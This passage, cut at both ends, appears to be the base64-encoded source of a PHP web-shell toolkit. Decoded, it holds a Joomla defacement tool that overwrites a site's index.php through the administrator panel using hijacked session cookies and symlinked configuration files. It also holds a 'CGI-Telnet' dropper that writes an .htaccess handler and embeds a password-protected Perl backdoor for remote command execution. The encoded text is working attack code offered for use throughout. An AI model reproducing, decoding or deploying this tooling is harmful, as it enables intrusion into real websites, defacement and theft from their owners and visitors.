XSBMb2dpbiBTdWNjZXNzZnVsIik7DQogICAgfQ0KICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KICAgICR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZ0YXNrPWVkaXRfc291cmNlJmNsaWVudD0wJmlkPSIuJHRlbXBsYXRlX25hbWU7DQogICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOw0KICAgICRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICANCiAgICAkaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDYpOw0KICAgIA0KICAgIGlmKCRoaWRkZW4yKSB7DQogICAgZWNobygiPGJyPlt+XSBpbmRleC5waHAgZmlsZSBmb3VuZGVkIGluIFRoZW1lIEVkaXRvciIpOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICBlY2hvKCI8YnI+Wy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yIik7DQogICAgfQ0KICAgIA0KICAgIGVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQogICAgJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJmxheW91dD1lZGl0IjsNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJmaWxlY29udGVudD0iLiRoLiImaWQ9Ii4kdGVtcGxhdGVfbmFtZS4iJmNpZFtdPSIuJHRlbXBsYXRlX25hbWUuIiYiLiRoaWRkZW4yLiI9MSZ0YXNrPXNhdmVfc291cmNlJmNsaWVudD0wIik7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7DQogICAgJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KICAgIA0KICAgICRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRkIGNsYXNzPSJtZXNzYWdlIG1lc3NhZ2UgZmFkZSI+Jyk7DQogICAgaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiAgICBlY2hvKCI8YnI+Wy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvciIpOw0KICAgIGV4aXQ7DQogICAgfQ0KICAgIGVsc2Ugew0KICAgIGVjaG8oIjxicj5bfl0gaW5kZXgucGhwIHN1Y2Nlc3NmdWxseSBzYXZlZCIpOw0KICAgIH0NCiAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgICAgICBWMS41ICBFTkQgICAgICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQogICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiAgICANCiAgICB9DQogICAgDQogICAgfQ0KICAgIA0KICAgIA0KICAgIGZ1bmN0aW9uIHJhbmRvbXQoKSB7DQogICAgDQogICAgICAgICRjaGFycyA9ICJhYmNkZWZnaGlqa21ub3BxcnN0dXZ3eHl6MDIzNDU2Nzg5IjsNCiAgICAgICAgc3JhbmQoKGRvdWJsZSltaWNyb3RpbWUoKSoxMDAwMDAwKTsNCiAgICAgICAgJGkgPSAwOw0KICAgICAgICAkcGFzcyA9ICcnIDsNCiAgICANCiAgICAgICAgd2hpbGUgKCRpIDw9IDcpIHsNCiAgICAgICAgICAgICRudW0gPSByYW5kKCkgJSAzMzsNCiAgICAgICAgICAgICR0bXAgPSBzdWJzdHIoJGNoYXJzLCAkbnVtLCAxKTsNCiAgICAgICAgICAgICRwYXNzID0gJHBhc3MgLiAkdG1wOw0KICAgICAgICAgICAgJGkrKzsNCiAgICAgICAgfQ0KICAgIA0KICAgICAgICByZXR1cm4gJHBhc3M7DQogICAgDQogICAgfQ0KICAgIA0KICAgIGZ1bmN0aW9uIGVudHJlMnYyKCR0ZXh0LCRtYXJxdWV1ckRlYnV0TGllbiwkbWFycXVldXJGaW5MaWVuLCRpPTEpDQogICAgDQogICAgew0KICAgIA0KICAgICRhcjA9ZXhwbG9kZSgkbWFycXVldXJEZWJ1dExpZW4sICR0ZXh0KTsNCiAgICAkYXIxPWV4cGxvZGUoJG1hcnF1ZXVyRmluTGllbiwgJGFyMFskaV0pOw0KICAgICRhcj10cmltKCRhcjFbMF0pOw0KICAgIHJldHVybiAkYXI7DQogICAgfQ0KICAgIA0KICAgIH0/Pg0KICAgIDxjZW50ZXI+PGJyPjxicj4NCiAgICA8Zm9udCBjb2xvcj0iI0ZGMDAwMCIgc2l6ZT0nKzMnPjxiPi0tPT1bIEF1dG9tYXRpYyBKb29tbGEgSW5kZXggQ2hhbmdlciBdPT0tLTwvYj48L2ZvbnQ+PGJyPjxicj4NCiAgICA8L2NlbnRlcj4NCiAgICA8Y2VudGVyPjxiPg0KICAgIExpbmsgb2Ygc3ltbGluayBjb25maWd1cmF0aW9uLnBocCBvZiBKb29tbGE8YnI+PC9iPg0KICAgIDxGT1JNIGFjdGlvbj0iIiAgbWV0aG9kPSJwb3N0Ij4NCiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPg0KICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgc2l6ZT0iNjAiIG5hbWU9ImZpbGUiIHZhbHVlPSJodHRwOi8vc2l0ZS5jb20vc3ltL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCI+DQogICAgPGJyPg0KICAgIDxicj48Yj4NCiAgICBBZG1pbiBDb250cm9sIFBhbmVsIFVSTDwvYj48YnI+DQogICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJpbnB1dHoiIHNpemU9IjQwIiBuYW1lPSJzaXRlX3VybCIgdmFsdWU9Imh0dHA6Ly9zaXRlL2FkbWluaXN0cmF0b3IiPjxicj4NCiAgICA8YnI+PGI+DQogICAgWW91ciBJbmRleCBDb2RlPC9iPg0KICAgIDxicj4NCiAgICA8VEVYVEFSRUEgcm93cz0iMjAiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrIiBjb2xzPSIxMjAiIG5hbWU9ImNvZGUiPiB5b3VyIGluZGV4IGNvZGUNCiAgICAgICAgICAgIDwvVEVYVEFSRUE+DQogICAgICAgICAgICA8YnI+DQogICAgPElOUFVUICBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMZXRzIEdvIERlZmFjZSAhISEiIG5hbWU9IlN1Ym1pdCI+DQogICAgPC9GT1JNPg0KICAgICA8L2NlbnRlcj4NCiAgICA8c2NyaXB0IGxhbmd1YWdlPUphdmFTY3JpcHQ+bT0nJTA5JTA5JTA5JTA5JTA5JTA5JTA5JTNDL3RkJTNFJTBBJTA5JTA5JTA5JTA5JTA5JTA5JTNDL3RyJTNFJTBBJTA5JTA5JTA5JTA5JTA5JTNDL3RhYmxlJTNFJTBBJTA5JTA5JTA5JTA5JTNDL3RkJTNFJTBBJTNDL2h0bWwlM0UnO2Q9dW5lc2NhcGUobSk7ZG9jdW1lbnQud3JpdGUoZCk7PC9zY3JpcHQ+DQoJPD9waHANCn0NCiAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiANCiBlbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2NnaTIwMTInKSkgeyANCiBlY2hvICI8Y2VudGVyLz48YnIvPjxiPg0KICstLT09WyBDR0ktVGVsbmV0IFZlcnNpb24gMS4zIF09PS0tKyANCiA8L2I+PGJyPjxicj4iOw0KIA0KIA0KICAgIG1rZGlyKCdjZ2kyMDEyJywgMDc1NSk7DQogICAgY2hkaXIoJ2NnaTIwMTInKTsNCiAgICAgICAgJGtva2Rvc3lhID0gIi5odGFjY2VzcyI7DQogICAgICAgICRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsNCiAgICAgICAgJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGEmIzIzMTsmIzMwNTtsYW1hZCYjMzA1OyEiKTsNCiAgICAgICAgJG1ldGluID0gIkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAuaXpvIjsgICAgDQogICAgICAgIGZ3cml0ZSAoICRkb3N5YSAsICRtZXRpbiApIDsNCiAgICAgICAgZmNsb3NlICgkZG9zeWEpOw0KJGNnaTIwMTIgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV2x1Q25WelpTQk5TVTFGT2pwQ1lYTmxOalE3Q2lSV1pYSnphVzl1UFNBaVEwZEpMVlJsYkc1bGRDQldaWEp6YVc5dUlERXVNeUk3Q2lSRlpHbDBVR1Z5YzJsdmJqMGlQR1p2Ym5RZ2MzUjViR1U5SjNSbGVIUXRjMmhoWkc5M09pQXdjSGdnTUhCNElEWndlQ0J5WjJJb01qVTFMQ0F3TENBd0tTd2dNSEI0SURCd2VDQTFjSGdnY21kaUtETXdNQ3dnTUN3Z01Da3NJREJ3ZUNBd2NIZ2dOWEI0SUhKbllpZ3pNREFzSURBc0lEQXBPeUJqYjJ4dmNqb2pabVptWm1abU95Qm1iMjUwTFhkbGFXZG9kRHBpYjJ4a095YytZak0zTkdzZ0xTQkRSMGt0VkdWc2JtVjBQQzltYjI1MFBpSTdDZ29rVUdGemMzZHZjbVFnUFNBaVltRnVaSFZ1WjJ0dmRHRnpZVzF3WVdnaU93a0pDU01nUTJoaGJtZGxJSFJvYVhNdUlGbHZkU0IzYVd4c0lHNWxaV1FnZEc4Z1pXNTBaWElnZEdocGN3b0pDUWtKSXlCMGJ5QnNiMmRwYmk0S2MzVmlJRWx6WDFkcGJpZ3Bld29KSkc5eklEMGdKblJ5YVcwb0pFVk9WbnNpVTBWU1ZrVlNYMU5QUmxSWFFWSkZJbjBwT3dvSmFXWW9KRzl6SUQxK0lHMHZkMmx1TDJrcGV3b0pDWEpsZEhWeWJpQXhPd29KZlFvSlpXeHpaWHNLQ1FseVpYUjFjbTRnTURzS0NYMEtmUW9rVjJsdVRsUWdQU0FtU1hOZlYybHVLQ2s3Q1FrSkNTTWdXVzkxSUc1bFpXUWdkRzhnWTJoaGJtZGxJSFJvWlNCMllXeDFaU0J2WmlCMGFHbHpJSFJ2SURFZ2FXWUtDUWtKQ1FrSkNRa2pJSGx2ZFNkeVpTQnlkVzV1YVc1bklIUm9hWE1nYzJOeWFYQjBJRzl1SUdFZ1YybHVaRzkzY3lCT1ZBb0pDUWtKQ1FrSkNTTWdiV0ZqYUdsdVpTNGdTV1lnZVc5MUozSmxJSEoxYm01cGJtY2dhWFFnYjI0Z1ZXNXBlQ3dnZVc5MUNna0pDUWtKQ1FrSkl5QmpZVzRnYkdWaGRtVWdkR2hsSUhaaGJIVmxJR0Z6SUdsMElHbHpMZ29LSkU1VVEyMWtVMlZ3SUQwZ0lpWWlPd2tKQ1FraklGUm9hWE1nWTJoaGNtRmpkR1Z5SUdseklIVnpaV1FnZEc4Z2MyVndaWEpoZEdVZ01pQmpiMjF0WVc1a2N3b0pDUWtKQ1FrSkNTTWdhVzRnWVNCamIyMXRZVzVrSUd4cGJtVWdiMjRnVjJsdVpHOTNjeUJPVkM0S0NpUlZibWw0UTIxa1UyVndJRDBnSWpzaU93a0pDUWtqSUZSb2FYTWdZMmhoY21GamRHVnlJR2x6SUhWelpXUWdkRzhnYzJWd1pYSmhkR1VnTWlCamIyMXRZVzVrY3dvSkNRa0pDUWtKQ1NNZ2FXNGdZU0JqYjIxdFlXNWtJR3hwYm1VZ2IyNGdWVzVwZUM0S0NpUkRiMjF0WVc1a1ZHbHRaVzkxZEVSMWNtRjBhVzl1SUQwZ01UQXdNREE3Q1NNZ1ZHbHRaU0JwYmlCelpXTnZibVJ6SUdGbWRHVnlJR052YlcxaGJtUnpJSGRwYkd3Z1ltVWdhMmxzYkdWa0Nna0pDUWtKQ1FrSkl5QkViMjRuZENCelpYUWdkR2hwY3lCMGJ5QmhJSFpsY25rZ2JHRnlaMlVnZG1Gc2RXVXVJRlJvYVhNZ2FYTUtDUWtKQ1FrSkNRa2pJSFZ6WldaMWJDQm1iM0lnWTI5dGJXRnVaSE1nZEdoaGRDQnRZWGtnYUdGdVp5QnZjaUIwYUdGMENna0pDUWtKQ1FrSkl5QjBZV3RsSUhabGNua2diRzl1WnlCMGJ5QmxlR1ZqZFhSbExDQnNhV3RsSUNKbWFXNWtJQzhpTGdvSkNRa0pDUWtKQ1NNZ1ZHaHBjeUJwY3lCMllXeHBaQ0J2Ym14NUlHOXVJRlZ1YVhnZ2MyVnlkbVZ5Y3k0Z1NYUWdhWE1LQ1FrSkNRa0pDUWtqSUdsbmJtOXlaV1FnYjI0Z1RsUWdVMlZ5ZG1WeWN5NEtDaVJUYUc5M1JIbHVZVzFwWTA5MWRIQjFkQ0E5SURFN0NRa0pJeUJKWmlCMGFHbHpJR2x6SURFc0lIUm9aVzRnWkdGMFlTQnBjeUJ6Wlc1MElIUnZJSFJvWlFvSkNRa0pDUWtKQ1NNZ1luSnZkM05sY2lCaGN5QnpiMjl1SUdGeklHbDBJR2x6SUc5MWRIQjFkQ3dnYjNSb1pYSjNhWE5sQ2drSkNRa0pDUWtKSXlCcGRDQnBjeUJpZFdabVpYSmxaQ0JoYm1RZ2MyVnVaQ0IzYUdWdUlIUm9aU0JqYjIxdFlXNWtDZ2tKQ1FrSkNRa0pJeUJqYjIxd2JHVjBaWE11SUZSb2FYTWdhWE1nZFhObFpuVnNJR1p2Y2lCamIyMXRZVzVrY3lCc2FXdGxDZ2tKQ1FrSkNRa0pJeUJ3YVc1bkxDQnpieUIwYUdGMElIbHZkU0JqWVc0Z2MyVmxJSFJvWlNCdmRYUndkWFFnWVhNZ2FYUUtDUWtKQ1FrSkNRa2pJR2x6SUdKbGFXNW5JR2RsYm1WeVlYUmxaQzRLQ2lNZ1JFOU9KMVFnUTBoQlRrZEZJRUZPV1ZSSVNVNUhJRUpGVEU5WElGUklTVk1nVEVsT1JTQlZUa3hGVTFNZ1dVOVZJRXRPVDFjZ1YwaEJWQ0JaVDFVblVrVWdSRTlKVGtjZ0lTRUtDaVJEYldSVFpYQWdQU0FvSkZkcGJrNVVJRDhnSkU1VVEyMWtVMlZ3SURvZ0pGVnVhWGhEYldSVFpYQXBPd29rUTIxa1VIZGtJRDBnS0NSWGFXNU9WQ0EvSUNKalpDSWdPaUFpY0hka0lpazdDaVJRWVhSb1UyVndJRDBnS0NSWGFXNU9WQ0EvSUNKY1hDSWdPaUFpTHlJcE93b2tVbVZrYVhKbFkzUnZjaUE5SUNna1YybHVUbFFnUHlBaUlESStKakVnTVQ0bU1pSWdPaUFpSURFK0pqRWdNajRtTVNJcE93b2tZMjlzY3owZ01UVXdPd29rY205M2N6MGdNalk3Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLSXlCU1pXRmtjeUIwYUdVZ2FXNXdkWFFnYzJWdWRDQmllU0IwYUdVZ1luSnZkM05sY2lCaGJtUWdjR0Z5YzJWeklIUm9aU0JwYm5CMWRDQjJZWEpwWVdKc1pYTXVJRWwwQ2lNZ2NHRnljMlZ6SUVkRlZDd2dVRTlUVkNCaGJtUWdiWFZzZEdsd1lYSjBMMlp2Y20wdFpHRjBZU0IwYUdGMElHbHpJSFZ6WldRZ1ptOXlJSFZ3Ykc5aFpHbHVaeUJtYVd4bGN5NEtJeUJVYUdVZ1ptbHNaVzVoYldVZ2FYTWdjM1J2Y21Wa0lHbHVJQ1JwYm5zblppZDlJR0Z1WkNCMGFHVWdaR0YwWVNCcGN5QnpkRzl5WldRZ2FXNGdKR2x1ZXlkbWFXeGxaR0YwWVNkOUxnb2pJRTkwYUdWeUlIWmhjbWxoWW14bGN5QmpZVzRnWW1VZ1lXTmpaWE56WldRZ2RYTnBibWNnSkdsdWV5ZDJZWEluZlN3Z2QyaGxjbVVnZG1GeUlHbHpJSFJvWlNCdVlXMWxJRzltQ2lNZ2RHaGxJSFpoY21saFlteGxMaUJPYjNSbE9pQk5iM04wSUc5bUlIUm9aU0JqYjJSbElHbHVJSFJvYVhNZ1puVnVZM1JwYjI0Z2FYTWdkR0ZyWlc0Z1puSnZiU0J2ZEdobGNpQkRSMGtLSXlCelkzSnBjSFJ6TGdvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q25OMVlpQlNaV0ZrVUdGeWMyVWdDbnNLQ1d4dlkyRnNJQ2dxYVc0cElEMGdRRjhnYVdZZ1FGODdDZ2xzYjJOaGJDQW9KR2tzSUNSc2IyTXNJQ1JyWlhrc0lDUjJZV3dwT3dvSkNna2tUWFZzZEdsd1lYSjBSbTl5YlVSaGRHRWdQU0FrUlU1V2V5ZERUMDVVUlU1VVgxUlpVRVVuZlNBOWZpQXZiWFZzZEdsd1lYSjBYQzltYjNKdExXUmhkR0U3SUdKdmRXNWtZWEo1UFNndUt5a2tMenNLQ2dscFppZ2tSVTVXZXlkU1JWRlZSVk5VWDAxRlZFaFBSQ2Q5SUdWeElDSkhSVlFpS1FvSmV3b0pDU1JwYmlBOUlDUkZUbFo3SjFGVlJWSlpYMU5VVWtsT1J5ZDlPd29KZlFvSlpXeHphV1lvSkVWT1Zuc25Va1ZSVlVWVFZGOU5SVlJJVDBRbmZTQmxjU0FpVUU5VFZDSXBDZ2w3Q2drSlltbHViVzlrWlNoVFZFUkpUaWtnYVdZZ0pFMTFiSFJwY0dGeWRFWnZjbTFFWVhSaElDWWdKRmRwYms1VU93b0pDWEpsWVdRb1UxUkVTVTRzSUNScGJpd2dKRVZPVm5zblEwOU9WRVZPVkY5TVJVNUhWRWduZlNrN0NnbDlDZ29KSXlCb1lXNWtiR1VnWm1sc1pTQjFjR3h2WVdRZ1pHRjBZUW9KYVdZb0pFVk9WbnNuUTA5T1ZFVk9WRjlVV1ZCRkozMGdQWDRnTDIxMWJIUnBjR0Z5ZEZ3dlptOXliUzFrWVhSaE95QmliM1Z1WkdGeWVUMG9MaXNwSkM4cENnbDdDZ2tKSkVKdmRXNWtZWEo1SUQwZ0p5MHRKeTRrTVRzZ0l5QndiR1ZoYzJVZ2NtVm1aWElnZEc4Z1VrWkRNVGcyTnlBS0NRbEFiR2x6ZENBOUlITndiR2wwS0M4a1FtOTFibVJoY25rdkxDQWthVzRwT3lBS0NRa2tTR1ZoWkdWeVFtOWtlU0E5SUNSc2FYTjBXekZkT3dvSkNTUklaV0ZrWlhKQ2IyUjVJRDErSUM5Y2NseHVYSEpjYm54Y2JseHVMenNLQ1Fra1NHVmhaR1Z5SUQwZ0pHQTdDZ2tKSkVKdlpIa2dQU0FrSnpzS0lBa0pKRUp2WkhrZ1BYNGdjeTljY2x4dUpDOHZPeUFqSUhSb1pTQnNZWE4wSUZ4eVhHNGdkMkZ6SUhCMWRDQnBiaUJpZVNCT1pYUnpZMkZ3WlFvSkNTUnBibnNuWm1sc1pXUmhkR0VuZlNBOUlDUkNiMlI1T3dvSkNTUklaV0ZrWlhJZ1BYNGdMMlpwYkdWdVlXMWxQVndpS0M0cktWd2lMenNnQ2drSkpHbHVleWRtSjMwZ1BTQWtNVHNnQ2drSkpHbHVleWRtSjMwZ1BYNGdjeTljSWk4dlp6c0tDUWtrYVc1N0oyWW5mU0E5ZmlCekwxeHpMeTluT3dvS0NRa2pJSEJoY25ObElIUnlZV2xzWlhJS0NRbG1iM0lvSkdrOU1qc2dKR3hwYzNSYkpHbGRPeUFrYVNzcktRb0pDWHNnQ2drSkNTUnNhWE4wV3lScFhTQTlmaUJ6TDE0dUsyNWhiV1U5SkM4dk93b0pDUWtrYkdsemRGc2thVjBnUFg0Z0wxd2lLRngzS3lsY0lpODdDZ2tKQ1NSclpYa2dQU0FrTVRzS0NRa0pKSFpoYkNBOUlDUW5Pd29KQ1Fra2RtRnNJRDErSUhNdktGNG9YSEpjYmx4eVhHNThYRzVjYmlrcGZDaGNjbHh1Skh4Y2JpUXBMeTluT3dvSkNRa2tkbUZzSUQxK0lITXZKU2d1TGlrdmNHRmpheWdpWXlJc0lHaGxlQ2drTVNrcEwyZGxPd29KQ1Fra2FXNTdKR3RsZVgwZ1BTQWtkbUZzT3lBS0NRbDlDZ2w5Q2dsbGJITmxJQ01nYzNSaGJtUmhjbVFnY0c5emRDQmtZWFJoSUNoMWNtd2daVzVqYjJSbFpDd2dibTkwSUcxMWJIUnBjR0Z5ZENrS0NYc0tDUWxBYVc0Z1BTQnpjR3hwZENndkppOHNJQ1JwYmlrN0Nna0pabTl5WldGamFDQWthU0FvTUNBdUxpQWtJMmx1S1FvSkNYc0tDUWtKSkdsdVd5UnBYU0E5ZmlCekwxd3JMeUF2WnpzS0NRa0pLQ1JyWlhrc0lDUjJZV3dwSUQwZ2MzQnNhWFFvTHowdkxDQWthVzViSkdsZExDQXlLVHNLQ1FrSkpHdGxlU0E5ZmlCekx5VW9MaTRwTDNCaFkyc29JbU1pTENCb1pYZ29KREVwS1M5blpUc0tDUWtKSkhaaGJDQTlmaUJ6THlVb0xpNHBMM0JoWTJzb0ltTWlMQ0JvWlhnb0pERXBLUzluWlRzS0NRa0pKR2x1ZXlSclpYbDlJQzQ5SUNKY01DSWdhV1lnS0dSbFptbHVaV1FvSkdsdWV5UnJaWGw5S1NrN0Nna0pDU1JwYm5za2EyVjVmU0F1UFNBa2RtRnNPd29KQ1gwS0NYMEtmUW9LSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUZCeWFXNTBjeUIwYUdVZ1NGUk5UQ0JRWVdkbElFaGxZV1JsY2dvaklFRnlaM1Z0Wlc1MElERTZJRVp2Y20wZ2FYUmxiU0J1WVcxbElIUnZJSGRvYVdOb0lHWnZZM1Z6SUhOb2IzVnNaQ0JpWlNCelpYUUtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnVUhKcGJuUlFZV2RsU0dWaFpHVnlDbnNLQ1NSRmJtTnZaR1ZrUTNWeWNtVnVkRVJwY2lBOUlDUkRkWEp5Wlc1MFJHbHlPd29KSkVWdVkyOWtaV1JEZFhKeVpXNTBSR2x5SUQxK0lITXZLRnRlWVMxNlFTMWFNQzA1WFNrdkp5VW5MblZ1Y0dGamF5Z2lTQ29pTENReEtTOWxaenNLQ1cxNUlDUmthWElnUFNSRGRYSnlaVzUwUkdseU93b0pKR1JwY2oxK0lITXZYRnd2WEZ4Y1hDOW5Pd29KY0hKcGJuUWdJa052Ym5SbGJuUXRkSGx3WlRvZ2RHVjRkQzlvZEcxc1hHNWNiaUk3Q2dsd2NtbHVkQ0E4UEVWT1JEc0tQR2gwYld3K0NqeG9aV0ZrUGdvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKamIyNTBaVzUwTFhSNWNHVWlJR052Ym5SbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDFWVkVZdE9DSStDangwYVhSc1pUNUlZV056ZFdkcFlUd3ZkR2wwYkdVK0Nnb2tTSFJ0YkUxbGRHRklaV0ZrWlhJS0Nqd3ZhR1ZoWkQ0S1BITjBlV3hsUGdwaWIyUjVld3BtYjI1ME9pQXhNSEIwSUZabGNtUmhibUU3Q24wS2RISWdld3BDVDFKRVJWSXRVa2xIU0ZRNklDQWpNMlV6WlRObElERndlQ0J6YjJ4cFpEc0tRazlTUkVWU0xWUlBVRG9nSUNBZ0l6TmxNMlV6WlNBeGNIZ2djMjlzYVdRN0NrSlBVa1JGVWkxTVJVWlVPaUFnSUNNelpUTmxNMlVnTVhCNElITnZiR2xrT3dwQ1QxSkVSVkl0UWs5VVZFOU5PaUFqTTJVelpUTmxJREZ3ZUNCemIyeHBaRHNLWTI5c2IzSTZJQ05tWmprNU1EQTdDbjBLZEdRZ2V3cENUMUpFUlZJdFVrbEhTRlE2SUNBak0yVXpaVE5sSURGd2VDQnpiMnhwWkRzS1FrOVNSRVZTTFZSUFVEb2dJQ0FnSXpObE0yVXpaU0F4Y0hnZ2MyOXNhV1E3Q2tKUFVrUkZVaTFNUlVaVU9pQWdJQ016WlRObE0yVWdNWEI0SUhOdmJHbGtPd3BDVDFKRVJWSXRRazlVVkU5Tk9pQWpNMlV6WlRObElERndlQ0J6YjJ4cFpEc0tZMjlzYjNJNklDTXlRa0U0UlVNN0NtWnZiblE2SURFd2NIUWdWbVZ5WkdGdVlUc0tmUW9LZEdGaWJHVWdld3BDVDFKRVJWSXRVa2xIU0ZRNklDQWpNMlV6WlRObElERndlQ0J6YjJ4cFpEc0tRazlTUkVWU0xWUlBVRG9nSUNBZ0l6TmxNMlV6WlNBeGNIZ2djMjlzYVdRN0NrSlBVa1JGVWkxTVJVWlVPaUFnSUNNelpUTmxNMlVnTVhCNElITnZiR2xrT3dwQ1QxSkVSVkl0UWs5VVZFOU5PaUFqTTJVelpUTmxJREZ3ZUNCemIyeHBaRHNLUWtGRFMwZFNUMVZPUkMxRFQweFBVam9nSXpFeE1Uc0tmUW9LQ21sdWNIVjBJSHNLUWs5U1JFVlNMVkpKUjBoVU9pQWdJek5sTTJVelpTQXhjSGdnYzI5c2FXUTdDa0pQVWtSRlVpMVVUMUE2SUNBZ0lDTXpaVE5sTTJVZ01YQjRJSE52Ykdsa093cENUMUpFUlZJdFRFVkdWRG9nSUNBak0yVXpaVE5sSURGd2VDQnpiMnhwWkRzS1FrOVNSRVZTTFVKUFZGUlBUVG9nSXpObE0yVXpaU0F4Y0hnZ2MyOXNhV1E3Q2tKQlEwdEhVazlWVGtRdFEwOU1UMUk2SUVKc1lXTnJPd3BtYjI1ME9pQXhNSEIwSUZabGNtUmhibUU3Q21OdmJHOXlPaUFqWm1ZNU9UQXdPd3A5Q2dwcGJuQjFkQzV6ZFdKdGFYUWdld3AwWlhoMExYTm9ZV1J2ZHpvZ01IQjBJREJ3ZENBd0xqTmxiU0JqZVdGdUxDQXdjSFFnTUhCMElEQXVNMlZ0SUdONVlXNDdDbU52Ykc5eU9pQWpSa1pHUmtaR093cGliM0prWlhJdFkyOXNiM0k2SUNNd01EazVNREE3Q24wS0NtTnZaR1VnZXdwaWIzSmtaWElKQ1FrNklHUmhjMmhsWkNBd2NIZ2dJek16TXpzS1FrRkRTMGRTVDFWT1JDMURUMHhQVWpvZ1FteGhZMnM3Q21admJuUTZJREV3Y0hRZ1ZtVnlaR0Z1WVNCaWIyeGtPd3BqYjJ4dmNqb2dkMmhwYkdVN0NuMEtDbkoxYmlCN0NtSnZjbVJsY2drSkNUb2daR0Z6YUdWa0lEQndlQ0FqTX